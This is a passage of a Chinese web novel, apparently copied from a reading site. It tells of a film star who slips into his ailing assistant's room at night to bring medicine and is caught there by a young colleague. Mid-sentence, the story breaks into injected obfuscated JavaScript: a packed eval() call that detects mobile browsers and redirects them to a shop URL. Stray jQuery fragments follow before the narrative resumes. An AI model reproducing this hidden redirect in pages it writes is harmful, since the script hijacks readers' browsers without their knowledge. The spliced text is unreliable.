该死的,止疼药过期了。
整个下午,徐复一直在腹诽。
药效维持得……奇快无比。
世上果然没有真正的感同身受,就算是自己也不行。
徐复的心里翻来滚去,不断暗骂临出发前收拾行李的那个自己。
徐复咬牙悔恨万分:怎么就能这么不长眼?
备采间是个临时搭建的棚子,糊上了一层黑布,一直往里钻风。
大灯一打,烤着苏回舟白净紧致的面皮,热量在蒸腾,逼得他解开自己的外套,露出内里的黑色老头背心,锁骨撑在薄薄的一层吊带上,露出一大片雪白的胸膛。
什么时候换的衣服?下午的时候还不是这件啊……?
临录制前,陆懿星紧张地扣着徐复给的采访提纲,对着灯光下的人瞅了一眼又一眼。
……应该不会穿帮吧?
陆懿星刚想回头问问徐复的意见,就被身后的人拍了拍肩膀,示意录制开始。
大灯的热量对徐复来讲简直聊胜于无,她躲在摄像机后面,几乎要痛晕过去,仅能分出的剩下心思,全部盯着苏回舟那张比钢筋还硬的嘴里究竟在说些什么。
说什么呢……一句有用的都没有,怎么跟导演交差?
直到跟苏回舟拉扯完最后一句问题,徐复才缓缓起身,在拍上陆懿星肩膀的时候借了一些力气,狠狠捏了一把他肩膀上蓬松的羽绒,试图能够释放一些痛感,最后颤抖着松开手,转身就往自己的房间走去。
也就全然不知,苏回舟的眼睛黏在她的背影上,盯了许久。
-
作为老板,能拥有自家助理的房门门卡,其实是个很正常的事情。
对吧?
工作人员的住处,苏回舟站在走廊外,单手插兜,手腕上挂着一个塑料袋,在风中晃晃悠悠的。
他从兜里掏出房卡,双指夹起,轻飘飘地贴到感应器上,随着门锁的响应,推开门抬起脚就往里走。
一整套动作行云流水,毫无负担。
房内漆黑一片,窗帘拉得严严实实的,外头一丝月光也透不进来。
苏回舟垂眸,掌心里躺着手机,点亮自带的手电筒,而后迅速用手心护住发光源,将绝大部分的亮光挡住,晕染出肉粉色的莹莹光芒,勉强能看清出眼前的路。
直到走到床前。
苏回舟先是将手腕上挂着的塑料袋轻轻放到床头柜,而后变戏法一般从怀里掏出一个保温杯,拧开杯盖,看见杯子里的水正滚烫着烧出热气旋,再重新拧紧,和装满药品的塑料袋放在一起。
做完这一切,苏回舟将手机立在床头柜,手电筒光源发射在床的相反位置,苏回舟借着墙壁上反射出的一点点光亮,最后,才将目光落在眼前在被子里缩成一团的人。
苏回舟试探性地抬起手,手指蜷缩,隔空缓缓描摹出眼前人的下颌、眉眼、鼻梁、嘴唇……
“你什么时候有了胃痛的毛病,我都不知道。”
似乎是有所感应般,徐复轻轻蹙眉,嘴唇颤抖,似乎想要艰难地开口,喃喃说些什么。
“疼……难受……”
徐复终于挤出一丝气音。
苏回舟顿时着急起来,瞳孔里满是慌张,连忙搓了搓手,手心用力攥着手背,靠在唇边哈气,想尽各种法子让手暖和起来,又手忙脚乱地掀开被子,轻轻将手放到徐复的腹部,小心翼翼地揉着。
疼痛的地方贴上了一阵令人感到安心的热源,一下又一下,徐复表情舒缓,渐渐沉入梦乡。
朦胧的灯光勉强勾勒出眼前人的轮廓,苏回舟俯下身子,伸手楷去徐复额角的汗珠。
“其实我一直都挺生气,但是你根本就看不出来。现在更生气了,都疼成这样了,还不去医院。”
“……你跟我说一声呢,我就带你走了。”
苏回舟的嘴角慢慢泛起自己都未曾察觉到的笑意,他将被子重新掖好,膝盖弯曲,整个顺势贴着滑下,靠在床沿,双手摊开压在徐复的枕边,脑袋慢慢凑了上去,囫囵哀泣的话翻来覆去说了一大堆。
苏回舟的一双眼睛沉沉地望着徐复平静的睡颜。
“是我当初走得太决绝了吗?自从我们见面的这些日子来,你好像跟什么事情都没发生过一样。”
“你又没好好吃饭。”
“其实我现在也不知道自己究竟想要什么了……就是不甘心,从小到大都是你告诉我要怎么做的,我一直都听你的,这次你也告诉我好不好?”
“明明以前不是这样的,明明之前你都会来哄我,你什么时候能再哄哄我……”
苏回舟絮絮叨叨说了一大堆,几乎要完全沉溺在自己漫天的情绪当中,也就差点错过了徐复睡梦中无意识的嘤咛。
“你真的让我感觉很心寒……”
“为什么要这么对我,我已经很真诚了……”
“简直就是……真心错付。”
那声似有若无的喟叹精准地落到苏回舟的耳朵里,他心里陡然一惊。
苏回舟没了动作,如遭雷击,劈在原地。
比心痛先涌来的是一丝莫名的窃喜。
——“原来你是和我一样痛苦的。”
可是……
苏回舟随即不愿面对一般侧过头,眼眶晃悠的泪珠全部慢慢叠加,甩飞到被面上。
可是你就这么痛苦吗,这么痛苦也不愿意向他低头。
真心错付?
苏回舟顿时通红了眼眶,平日里锋利上扬的眉峰此刻不住地往下坠落。
名为“慌张”的浅浮情绪,狠狠地钳住了他的心脏,迫使他大口地喘着气。
苏回舟勉强扯出一个难过的笑容,在无人知晓的角落,心脏像是五脏六腑不断碾碎重组,撕扯着沉入无尽的冰凉海底。
然后他抬手,用手背擦干眼角连绵的泪珠,俯下身子,轻柔地吻上徐复的额头,终于能够再次切身感受到,眼前人皮肤上蒸腾的温热。
也就听清楚了徐复的断断续续的呜咽。
“我明明已经很虔诚地对待你了,为什么还要这么对我……”
苏回舟心里宛若有重锤敲击一般。
“……大鸡腿,我错了,我不该在心里蛐蛐你难吃的,下次,下次我跟陆懿星一样,奉你为神……”
苏回舟愣住了,下意识挑起眉,轻笑中感到一阵荒谬,随即又轻轻点了点徐复的侧脸,叽里咕噜地小声恼道:“你是不是光顾着教那个小子学东西了,看见别人手足无措就想帮忙的毛病还是改不了是吗?改改你的骑士病,但是你当年明明最先看到的人是我,你第一个帮的人也是我……也只能是我。”
苏回舟的情绪又翻了一番,落到最后不知道在得意个什么劲。
“那又怎么样,他们都觉得你老爱说教,但只有我知道你……可爱。”
苏回舟收回手,轻笑:“没见过我这么难缠的对吧?后悔吗。”
“你这辈子最对不起的就是我了。”
“你不能这样对我,你不能管了我又不要我了。”
“要吃饭的,不然会痛得更厉害。”
……
好吵啊,徐复总睡不安生,想将耳边恼人的响动驱散,意识挣扎着清醒,朦胧间抓住了一个人的手。
“……小陆?”
徐复正混沌着,说出口的声音带着浓重的鼻腔,落在人心尖上听起来痒痒的。她以为是陆懿星把药给买了回来,急迫地想起身,将粘稠沉重的眼皮睁开。
徐复只来得及看清眼前有一坨朦胧的黑影,转瞬间就被被子蒙住了头。
徐复:?
身侧传来一下一下轻重有度的拍打,徐复最终委实扛不住,渐渐又睡了过去,临睡前只来得及嘟囔着“谢谢你啊小陆,我待会儿……把钱转给你……”
等到徐复呼吸平稳,苏回舟才来得及重新释放出屏住的呼吸,眼睛一瞬间瞪圆了起来,撇着嘴,咬了咬牙又迅速松开,满是委屈。
——“你们才认识一天,他就可以直接进你的房间了吗?”
陆懿星进来的时候看见的就是这样一副场景。
“你是谁?你要干什么!”
他的手里紧紧攥着闪送的袋子,扯着嗓门,满是警惕。
苏回舟原本正低头瞧着徐复,见她被吵得翻了个身,不爽地顶了顶腮,很快地回过头,将手指抵在嘴唇上,斜眼瞥了眼站在门口的陆懿星。
陆懿星只感觉一张俊脸在黑暗中闪闪发光,颤颤巍巍德抬起手指着。
“苏回……”
“嘘,别吵醒她。”
“不是,你们……”陆懿星的声音降低了八个度,表情逐渐变得张皇。
“什么关系?”
苏回舟轻咳,不自然地掩饰:“她是我助理。”
“可是我明明看到你刚刚……”陆懿星不信,撇着眉毛,两只手斗在一起,手指捏紧,一张一合着逐渐逼近。
死小子眼力见不错,苏回舟心底赞赏,面上浮现出愉悦,点了点头。
陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165696|196706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
懿星不自觉张大嘴巴:感觉自己发现了惊天大瓜。
他沉重地点了点头:“我会保密的。”
与此同时,门外的菲颖将这一切尽收眼底,心里又有了新的盘算。
-
【苏回舟的手机】
苏回舟:【你帮我和导演组说,这两天有紧急的工作。】
沈书明:【祖宗,可是后续录制还有两天呢,这两天人家都约会,你干什么?】
苏回舟:【她胃疼,我带她回家修养。】
沈书明:【哇塞,我真是欠你们的。】
-
第二天,徐复睡了一觉状态大好,转头看着床头柜上的东西,朦朦胧胧之间回想起了昨晚的场景,摸过手机顺手给人转了500的红包,又琢磨着总归要当面谢谢陆懿星,这才回过头来看到苏回舟发的消息。
于是认命下床收拾行李。
天还没擦亮,徐复拖着行李箱在路边等沈书明派来的商务车,身旁站着苏回舟,前面是扛着一大堆盒饭从外面回来的陆懿星。
徐复笑着将人喊住:“昨天谢谢你啊小陆,改天请你吃饭。”
“……没关系。”
陆懿星目光似有若无的瞥向眼前的苏回舟,不由得打个寒战。
徐复关心道:“很冷吗?”
陆懿星猛摇头。
徐复点点头,手顺势摸进包里却摸了个空,而后迅速将行李甩给苏回舟,快步追上前方不断走远的陆懿星。
“小陆,等等,我把保温杯落房间里了,跟我去拿一下吧!”
徐复身后,苏回舟垂下眼睫,伸出手捏住徐复的行李箱,默默将箱子和自己贴得近了一些。
-
天渐翻起鱼肚白,民宿里响起了工作人员三三两两的交谈,徐复将保温杯递到陆懿星的手里,再三感谢。
陆懿星欲言又止。
“好大的腕儿啊……说走就走。”
“人家明星有工作,肯定不一样。”
“不是,我是说他们组那个pd,她怎么也走?不应该留下来一起干活吗?”
“……你不知道?”
徐复和陆懿星站在房门外,声音从院子里朦胧的树影间传来,那里正忙碌着架起机位。
“人家本来就是大明星的助理啊,听说是苏大明星亲自带着条件和导演谈的,咱们原来就是个小成本网综,你以为现在哪里来到这么多钱,还能住度假村?”
“连邀请的嘉宾都上升了一个level,就像那个美妆博主,原来我们瞄准的是几千粉丝的小博主,现在万粉级别的,请过来都分分钟不在话下……”
“啧啧啧,果然背靠大树好乘凉,明星助理这么爽吗?不是都说被呼来喝去的,挺没尊严的吗?完全就是给艺人当保姆……切,那要是这样的话,我都要考虑转行了。”
“不过你说大明星图啥呢?”
“可能明星就是需要有……心腹?也可能是纯粹要摆明星架子,谁知道呢,反正跟咱们这种小卡拉米也没关系……”
院子里的议论声落在寂静里,清晰可闻,走廊里的两人走也不是,不走也不是。
徐复干脆抱起双臂,坦然地瞧着,正好听一下她没听过的部分,而心里有鬼的陆懿星紧紧捏着烫手的保温杯,誓死不和徐复对上视线。
“一个个嘴碎什么呢?”
菲颖的followpd拿着场记板狠狠地给两个人一人来了一下。
“人家小徐是有能力的,履历还真挺丰富的,手里头经过的项目比你俩待过的组还多,好好干活,别瞎传话!”
两人瞬间收敛,唯唯诺诺地点头,架好机位后作鸟兽般飞散,院子里瞬间清净下来。
徐复耸了耸肩,准备和人道别,却发现陆懿星仍旧呆呆地望着前方,目光没有焦距。
怎么傻了?
难不成是年轻人脆弱的理想主义受到了毁灭性的冲击?
徐复轻声开口,语气中带了一些怜惜:“干这一行是需要人脉的。”
陆懿星恍然回神,磕磕绊绊回答:“所以你也有?”
“你刚刚不是听见了?”
陆懿星的震惊表演得实在是过于拙劣,但是徐复没看出来,或者说,她压根就没想在意。
“啊哈哈,是,放心吧,我不会说出去的。”
“谢谢啊。”徐复笑着点了点头,准备抬脚就走,却被陆懿星的话重新勾了回去。
“不过你们两个,到底是什么关系啊……”